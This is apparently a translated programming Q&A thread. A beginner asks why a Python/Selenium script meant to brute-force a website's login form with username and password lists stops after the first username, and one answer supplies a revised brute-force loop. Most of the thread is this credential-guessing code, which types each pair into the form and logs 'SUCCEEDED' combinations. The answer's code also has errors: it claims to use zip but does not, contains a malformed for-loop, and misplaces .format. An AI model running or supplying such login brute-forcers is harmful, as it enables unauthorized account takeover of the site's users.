Python -Selenium - Скрипт грубой силы с использованием вложенных циклов For для имени пользователя и пароля - PullRequest
0 голосов
/ 19 апреля 2020

Я новичок в Python и пытаюсь создать сценарий перебора, используя Python и Selenium для перебора сайта, используя имена пользователей и пароли из текстового файла. Проблема, с которой я сталкиваюсь, заключается в том, что скрипт берет первое имя пользователя и запускает его по списку паролей, а затем останавливается.

Я пытался перебирать списки, вкладываться в циклы и даже вызывать функцию с именами пользователей, представленными вручную. для тестирования, но все равно logi c выбирает только первое имя пользователя, а затем, как только заканчивается список паролей, приложение завершает работу.

Любая помощь будет высоко оценена.

user_list = open('usernamelist.txt' , 'r')  #File containing usernames
pass_list = open('passwordlist.txt' , 'r')  #File containing passwords


for usernm in user_list:
    drv.get(target-website-url)
    for passwd in pass_list:
        username = drv.find_element_by_xpath("/html/body/div/ui-view/ui-view/div/div/div/div/div[3]/ui-view/div/form/div[1]/input")
        username.send_keys(usernm.split())
        password = drv.find_element_by_xpath("/html/body/div/ui-view/ui-view/div/div/div/div/div[3]/ui-view/div/form/div[2]/input")
        password.send_keys(passwd.split())
        submit = drv.find_element_by_xpath('//*[@id="loginButton"]')
        submit.click()
        time.sleep(1)
        drv.refresh()

        #To check for a successful or failed login using the current URL
        login_fail = drv.current_url
        if "redirect" in login_fail:
            print("User" + usernm + " and " + passwd + " combo FAILED")
        elif "dashboard" in login_fail:
            print("User" + usernm + " and " + passwd + " combo SUCCEEDED")
        drv.refresh()
        time.sleep(2)

1 Ответ

1 голос
/ 19 апреля 2020

Я бы предложил использовать функцию zip, которая возвращает итератор из этих двух списков:

username = drv.find_element_by_xpath('/html/body/div/ui-view/uiview/div/div/div/div/div[3]/ui-view/div/form/div[1]/input')
password = drv.find_element_by_xpath('/html/body/div/ui-view/ui-view/div/div/div/div/div[3]/ui-view/div/form/div[2]/input')

for user user_list:
    for passw in pass_list:
        username.send_keys(user.strip()) # .strip() for removing \r and \n
        password.send_keys(passw.strip()) # .strip() for removing \r and \n

        submit = drv.find_element_by_xpath('//*[@id="loginButton"]')
        submit.click()
        time.sleep(2)

        login_fail = drv.find_element_by_class_name("appInfoBox__header")
        login_failure = (login_fail.get_attribute("innerHTML"))

        if "Login error" in login_failure:
            print("{user} and {passw} combo FAILED").format(
                user = user,
                passw = passw
            )
        else:
            print("{user} and {passw} combo SUCCEEDED").format(
                user = user,
                passw = passw
            )

        drv.refresh()
        time.sleep(2)

Поскольку в вашем случае код перебирает все имена пользователей, отправляет их в указанный элемент, а затем повторяет через пароль и отправляет их другому элементу, поэтому он отображается в одной строке:

for usernm in user_list:
    username = drv.find_element_by_xpath('xpath')
    username.send_keys(usernm)

for passwd in pass_list:
     password = drv.find_element_by_xpath('xpath')
     password.send_keys(passwd)
...